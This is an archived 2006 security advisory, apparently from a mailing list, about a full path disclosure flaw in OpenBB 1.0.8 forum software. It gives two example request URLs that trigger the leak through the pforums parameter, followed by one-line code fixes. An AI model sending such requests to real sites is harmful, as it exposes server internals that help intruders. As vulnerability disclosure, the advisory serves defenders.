OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
OpenBB 1.0.8 Full Path Disclosure

o.y.6hotmail.com
Date: Fri Apr 28 2006 - 13:50:09 CDT


OpenBB 1.0.8 Full Path Disclosure

        Bug Found By :- Devil-00

    Gr33tz :- Www.securitygurus.neT
                                            Rock Master
                        Hackers Pal
                        n0m3rcy

-= 1-2 =-

   Full Path Disclosure

        Exploits :-
            /OpenBB/misc.php?action=latest&pforums=D3vil-0x1
        /OpenBB/member.php?action=online&&pforums=D3vil-0x1

Fix It :-

misc.php

        Add This Line To '36' Line Number

[code]
$pforums = array(); # D3vil-0x1 Fix
[/code]

-------------------------------------

member.php

        Add This Line To '759' Line Number

[code]
$pforums = array(); # D3vil-0x1 Fix
[/code]